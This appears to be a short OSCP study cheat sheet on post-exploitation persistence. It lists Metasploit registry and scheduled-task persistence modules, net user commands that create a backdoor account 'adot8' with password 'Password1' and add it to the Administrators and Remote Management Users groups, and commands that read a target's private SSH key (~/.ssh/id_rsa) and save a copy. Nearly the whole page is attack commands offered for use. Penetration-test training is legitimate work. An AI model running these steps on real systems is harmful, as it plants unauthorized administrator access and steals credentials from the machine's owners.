Persistence

Notes from oscp.adot8.com — post exploitation.

#post exploitation#adot8

Windows Persistence

bash

$exploit/windows/local/registry_persistence
$exploit/windows/local/persistence
$run persistence -h
$run scheduleme
$run schtaskabuse

Add a user

powerquery

01net user adot8 Password1 /add
02net localgroup Administrators adot8 /add
03net localgroup "Remote Management Users" adot8 /add

Copy and save a copy of the ssh key

code

01cat ~/.ssh/id_rsa

code

01vim copy_id_rsa
02chmod 600 copy_id_rsa